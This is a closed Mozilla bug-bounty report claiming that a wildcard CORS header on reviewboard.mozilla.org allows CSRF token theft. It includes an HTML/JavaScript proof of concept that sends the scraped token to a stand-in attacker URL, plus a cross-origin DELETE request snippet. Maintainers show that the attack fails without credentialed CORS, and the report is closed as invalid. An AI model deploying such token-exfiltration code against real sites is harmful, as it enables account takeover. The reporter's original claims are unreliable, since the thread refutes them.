Closed Bug 1305293 Opened 10 years ago Closed 10 years ago

CSRF token Stealing due to Insecure CORS implementation in reviewboard.mozilla.org

Categories

(MozReview Graveyard :: Review Board: User Interface, defect)

defect
Not set
major

Tracking

(Not tracked)

RESOLVED INVALID

People

(Reporter: bugcrowdtesting, Unassigned)

References

()

Details

(Keywords: reporter-external, Whiteboard: [reporter-external] [web-bounty-form] [verif?])

Attachments

(1 file)

The application uses HTML5 feature CORS (Cross origin resource sharing) but it is set to wildcard (*) that means any external domain is allowed to communicate. To overcome the restrictions of SOP, CORS is used to allow communication between domain from different origin. The application sends the following header in the response: access-control-allow-origin: *. This means any domain can communicate without any restriction. Any modern browser can be used to reproduce the issue which support CORS implementation. Attack Scenario: **************** This implementation can be abused in several ways. I have found two attack scenario for the current application. Scenario 1: ------------ This can be leveraged to steal sensitive information such as CSRF token, API token in case application is protected from XSS issues and attacker has no way to guess or predict CSRF token. Exploit process and steps to reproduce: --------------------------------------------- 1. Login in https://reviewboard.mozilla.org and go to the my account module. This will give you the following URL: https://reviewboard.mozilla.org/account/preferences. View source of this page contains CSRF token in the response name as csrfmiddlewaretoken. 2. Create an attack.html page with following code: <html> <head> <script> function stealtoken() { var xmlhttp; if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } else { xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.open("GET","https://reviewboard.mozilla.org/account/preferences/",false); //send a GET request to the target URL. xmlhttp.send(); if(xmlhttp.status==200) { var str=xmlhttp.responseText; var a=str.search("csrfmiddlewaretoken"); //This will search the complete response text for string 'csrfmiddlewaretoken' var token=str.substring(a+28,a+60); var url = "http://evil.comcom?token=" + encodeURIComponent(token); //This will send the extracted CSRF token to attacker's controlled URL. xmlhttp.open("GET", url, true); xmlhttp.send(); } } </script> </head> <body onload="stealtoken();"> </body> </html> 3. When logged-in user visits this page, his csrfmiddlewaretoken will be sent to the attacker's URL. 4. Through this, implemented CSRF protection can be bypassed. Scenario 2: ----------- During the test, I have found an interesting behaviour in API token generation module. User can generate api token. When user removes the token, a POST request is sent to the server. After fuzzing in burp-suite, I came to know that it can also be achieved by sending a direct request with DELETE method. Now here is the problem. Normal html form can not send cross domain request with DELETE method. No worry!!, we can abuse CORS and send a XMLHTTP request with DELETE method with following code snippet: var xmlhttp; xmlhttp=new XMLHttpRequest(); xmlhttp.open("DELETE","https://reviewboard.mozilla.org/api/users/bugcrowdtesting+561201/api-tokens/204/",false); //here 204 is id for token which is sequentioal, Next will be 208 xmlhttp.send(); As now attacker can CSRF token, he can perform several nefarious action on the behalf of other users by just making them visit his website. I have written a post for same issue. More information can be found here. https://www.linkedin.com/pulse/abusing-insecure-cors-bypassing-csrf-protection-without-pundir Recommended things: ------------------------ 1. CORS is for providing easy communication between cross origins according to the requirement. But it should never be set to wildcard or *. A trusted mozilla domain can be assigned as a value. 2. A easy way and strong implementation for CSRF protection is double submit cookies. This includes using same token in request body as well as cookie header. Let me know you need more information from my side. THANKS Saurabh Pundir
Flags: sec-bounty?
Severity: normal → major
Component: Other → other.mozilla.org
Group: websites-security → mozreview-security
Component: other.mozilla.org → Review Board: User Interface
Product: Websites → MozReview
Just want to know if the bug has been triaged or not? Thanks
This is not how CORS works; in order to do things as the user, you have to also set the Access-Control-Allow-Credentials header. ACAO: * simply means that anybody can read the site's content as a public user, the same way you might if you used curl or something. Since reviewboard doesn't set this header, I'm going to close this out as invalid.
Status: UNCONFIRMED → RESOLVED
Closed: 10 years ago
Flags: sec-bounty? → sec-bounty-
Resolution: --- → INVALID
Hi, Thanks for the reply. This is not curl related issue.I can provide you a working exploit demonstration.I was going to provide a POC but it was suggested to not include videos. I have already given the steps to reproduce the issue. You can check you other website where this header is presented with a trusted mozilla domain. Please follow the steps below: ------------------------------ 1. Lets say we have two users. John and Terry. John [Attacker] Terry [Victim] 2. Now terry gets authenticated in the application and normally browse the application. At this moment while terry is logged in, John create a malicious html file i.e. malicious.html and hosted it his own server. The URL is like john-attacking-domain.com/malicious.html in the bug report. 3. Now john give this link to Terry by mail or some other medium. The moment Terry open the link, his token will be sent to john's server. Note: Please read the Exploit process and steps to reproduce throughly.Also allow me provide a Video proof of concept as the status of the bug is totally going wrong.
This is the POC for insecure CORS implementation on review-board.
Again, ACAO: * is not enough; you must also set ACAC if you want access to Terry's cookies.
This can easily be set in following way: tokenstealing.php <?php header("Access-Control-Allow-Origin: *"); Token stealing code. Now this page is also set with *.
Hi Team. This bug has been resolved and not CORS configuration is changed, But I didnt get any updates of my last message?
There might be a misunderstanding here? April I don't think Sauabh is suggesting abusing cors to reference cookies, the csrftoken is also within the form body: <input type='hidden' name='csrfmiddlewaretoken' value='2pI...
This bug requires you to be authenticated to to reviewboard, which sets an rbsessionid cookie. A cross-domain request from a foreign origin won't send this cookie (because it's not setting Access-Control-Allow-Credentials), and, as such, the request to https://reviewboard.mozilla.org/account/preferences/ would be treated as if an unauthenticated user had sent the request, and there won't be any csrf tokens. I've setup the code above (minus the exfiltration) here: https://www.twoevils.org/html/reviewboard.html You'll notice that when it makes a request for: https://reviewboard.mozilla.org/account/preferences/ It actually redirects to: https://reviewboard.mozilla.org/account/login/?next=/account/preferences/ This means that the csrfmiddlewaretaken is the CSRF token for the login page, not for the account itself. Unless reviewboard is badly designed and accepts any CSRF token, this should be perfectly safe.
Thank you so much for your response. Yes. You are absolutely right. I am very sorry for my misunderstanding with the attack. and thanks to making me get into more deep of CORS. After reading new blog post from Portswigger on CORS I came to know that in order to steal something from authenticated response, allow-credentials should be true. Because like cross domain form based POST request, XHR does not includes cookies. My bad luck. Better luck next time. Happy hunting :)
No worries, I learned the same thing. ;-] Thanks for participating in the bounty program.
Group: mozreview-security
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: